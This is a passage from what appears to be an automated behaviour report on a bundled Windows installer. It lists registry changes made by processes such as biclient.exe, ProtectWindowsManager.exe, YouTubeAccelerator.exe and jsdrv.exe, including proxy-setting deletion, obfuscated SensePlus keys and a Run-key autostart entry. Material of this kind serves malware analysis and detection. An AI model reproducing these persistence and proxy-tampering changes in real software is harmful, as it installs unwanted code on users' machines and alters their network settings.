"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\474.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "32 04 7B E5 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 044ba9ad-d071-4924-93f1-321600ec1e76-4.exe:3868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process ProtectWindowsManager.exe:3944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectWindowsManager.exe:3424 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process GLJCD7C.tmp:3500 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process install.tmp:1916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\RestartManager\Session0000]
"RegFilesHash" = "BD 3C 03 3C B4 E9 21 1F A1 CB 0B 77 80 8B 71 C9"
"RegFiles0000" = "%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors GrooveDownloader.exe, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Header.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Newtonsoft.Json.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors GrooveDownloader.exe, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors Logger.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors UpdateCheck.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLorsGroovesharkAPI.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Win32File.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\mp3gain.exe, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libeay32.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libgcc_s_dw2-1.dll, %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libgnurx-0.dll, C:\Program Fil?"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{DDEAE484-D5FB-49CB-BD47-9512E8ACCA65}_is1]
"Inno Setup: Deselected Tasks" = ""
"MinorVersion" = "4"
"Inno Setup: Icon Group" = "SciLor's groovesharkâ„¢.com Downloader"
"HelpLink" = "http://forum.scilor.com/"
"NoModify" = "1"

[HKCU\Software\Microsoft\RestartManager\Session0000]
"SessionHash" = "B0 7D 2F 6E 16 FB F3 7A 8C 14 B4 A1 96 6F 55 35"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{DDEAE484-D5FB-49CB-BD47-9512E8ACCA65}_is1]
"MajorVersion" = "0"
"EstimatedSize" = "27277"
"DisplayVersion" = "0.4.15"
"Inno Setup: App Path" = "%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader"
"InstallLocation" = "%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\"
"Publisher" = "SciLor"
"URLUpdateInfo" = "http://www.scilor.com/grooveshark-downloader.html"
"Inno Setup: User" = "%CurrentUserName%"
"NoRepair" = "1"
"UninstallString" = "%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\unins000.exe"
"URLInfoAbout" = "http://www.scilor.com/"

[HKCU\Software\Microsoft\RestartManager\Session0000]
"Sequence" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{DDEAE484-D5FB-49CB-BD47-9512E8ACCA65}_is1]
"DisplayName" = "SciLor's groovesharkâ„¢.com Downloader 0.4.15"
"Inno Setup: Setup Version" = "5.5.3 (a)"
"InstallDate" = "20150415"
"QuietUninstallString" = "%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\unins000.exe /SILENT"

[HKCU\Software\Microsoft\RestartManager\Session0000]
"Owner" = "7C 07 00 00 77 7B F4 D3 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{DDEAE484-D5FB-49CB-BD47-9512E8ACCA65}_is1]
"Inno Setup: Selected Tasks" = "desktopicon"
"Inno Setup: Language" = "english"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\RestartManager\Session0000]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\RestartManager\Session0000]
"RegFilesHash"
"Sequence"
"RegFiles0000"
"SessionHash"
"Owner"

The process YouTubeAccelerator.exe:3268 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "62 EB B2 E9 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A0 28 06 E7 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1429064931"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeLimit" = "1"
"TimeStamp" = "1429064931"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:2836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "14 85 FA E3 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "D9 C3 B1 E5 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process wpm_v20.0.0.1953_0302.exe:4040 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1828 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "51 0D E1 D1 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:816 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2D 85 33 3A 90 73 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
